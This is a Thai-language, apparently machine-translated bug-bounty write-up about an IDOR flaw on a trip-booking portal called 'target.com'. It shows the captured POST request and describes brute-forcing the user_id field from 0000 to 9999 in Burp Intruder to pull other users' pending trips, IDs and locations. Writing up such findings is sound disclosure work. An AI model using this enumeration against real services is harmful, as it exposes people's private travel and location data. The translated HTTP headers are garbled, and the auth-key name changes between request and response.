IDOR เปิดเผยข้อมูลการเดินทางของผู้ใช้ที่รอดำเนินการ | ตอนที่ 01
สวัสดี แฮ็กเกอร์ที่น่าทึ่งและผู้ที่ชื่นชอบการรักษาความปลอดภัย วันนี้ฉันจะเขียนเกี่ยวกับบางสิ่งที่สำคัญมาก การระบุบั๊ก IDOR ที่นำไปสู่การยึดครองบัญชีโดยสมบูรณ์โดยที่ผู้ใช้ไม่ได้โต้ตอบคือบั๊ก IDOR แรกของฉัน
เรามาทำความเข้าใจเกี่ยวกับ IDOR กันก่อนดีกว่า
IDOR (การอ้างอิงวัตถุโดยตรงที่ไม่ปลอดภัย)
การอ้างอิงวัตถุโดยตรงที่ไม่ปลอดภัย (IDOR) เป็นช่องโหว่ประเภทหนึ่งของการควบคุมการเข้าถึงที่เกิดขึ้นเมื่อแอปพลิเคชันใช้อินพุตที่ผู้ใช้ป้อนเพื่อเข้าถึงวัตถุโดยตรง ช่องโหว่ IDOR มักเกี่ยวข้องกับการเพิ่มระดับสิทธิ์ในแนวนอน แต่ก็สามารถเกิดขึ้นได้จากการยกระดับสิทธิ์ในแนวตั้ง
ดังนั้นขอเรียกเป้าหมายเป็นtarget.com ฉันเริ่มต้นด้วย Recon บนโดเมนหลัก ตอนนี้หลังจาก Recon ฉันเริ่มเข้าใจแอปพลิเคชันว่ามันทำงานอย่างไร เพียงแค่เปิดเรอ และเริ่มวิเคราะห์แอปพลิเคชันว่ามันทำงานอย่างไร ประมวลผลคำขออย่างไร ดูว่าวิธีใดได้รับอนุญาต วิเคราะห์ซอร์สโค้ดสำหรับคีย์ลับ API หรือโทเค็นหรือจุดสิ้นสุด
ฉันดูและใช้ฟังก์ชันบางอย่าง เช่น อัปเดตโปรไฟล์ อัปโหลดรูปโปรไฟล์ และเปลี่ยนรหัสผ่านโดยไม่ใช้รหัสผ่านเดิม และตรวจสอบทุกคำขอและการตอบกลับโดยใช้เรอ
Bug 01: IDOR เปิดเผยข้อมูลการเดินทางของผู้ใช้ที่รอดำเนินการ
ฉันจัดตารางการเดินทางและหลังจากนั้นฉันขอข้อมูลเกี่ยวกับการเดินทางของฉัน ดังนั้นคำขอจึงมีลักษณะดังนี้
/target-dev/index.php/UserPortal/Trip/tripListByUser
ขอให้มีลักษณะเหมือน
โพสต์ /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1
โฮสต์: app.target.com
คุกกี้: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=โดยตรง; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
ยอมรับ: แอปพลิเคชัน/json, ข้อความ/ธรรมดา, */*
ภาษาที่ยอมรับ: en-US,en;q=0.5
ยอมรับการเข้ารหัส: gzip, deflate
ประเภทเนื้อหา: แอปพลิเคชัน/x-www-form-urlencoded
ความยาวเนื้อหา: 59
ที่มา: https://app.target.com
ผู้อ้างอิง: https://app.target.com/target-user-portal/
Sec-Fetch-Dest: ว่างเปล่า
Sec-Fetch-Mode: คอร์
Sec-Fetch-Site: แหล่งกำเนิดเดียวกัน
เต้:รถพ่วง
การเชื่อมต่อ: ปิด
{“user_id”:”1654”,”status”:”pending”,” T ARGETAUTHKEY”:8342}
ตอนนี้หมายเหตุสองสิ่งแรกคือT ARGETAUTHKEY และที่สองคือ “user_id”:”1654"
ส่งคำขอนี้ไปยังทวนและดูคำตอบที่คุณได้รับข้อมูลเกี่ยวกับข้อมูลการเดินทางที่รอดำเนินการ
หลังจากนั้นส่งคำขอไปยังผู้บุกรุกและกำลังดุร้ายที่ “user_id” และ payload คือ Number Start จาก 0000 ถึง 9999 และลำดับคือ 1 คลิกที่ Start Attack และเลือกคำขอและการตอบสนองตามความยาว Boom คุณจะได้รับข้อมูลการเดินทางของผู้ใช้รายอื่นที่รอดำเนินการพร้อมเปิดเผยรหัสผู้ใช้และตำแหน่งที่เลือกและวางของผู้ใช้
การตอบสนองดูเหมือน
{“user_id”:”418”,”status”:”pending”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “ข้อมูลที่ผู้ใช้เลือก”, Tripe_destination: “ตำแหน่งการเดินทาง”, Essitemate_total:35000}
ดังนั้นคำตอบนี้จึงเปิดเผยทั้งสองสิ่ง
- ลงทะเบียนรหัสผู้ใช้และที่ตั้ง
- ข้อมูลการเดินทาง
มีความสุขแฮ็ค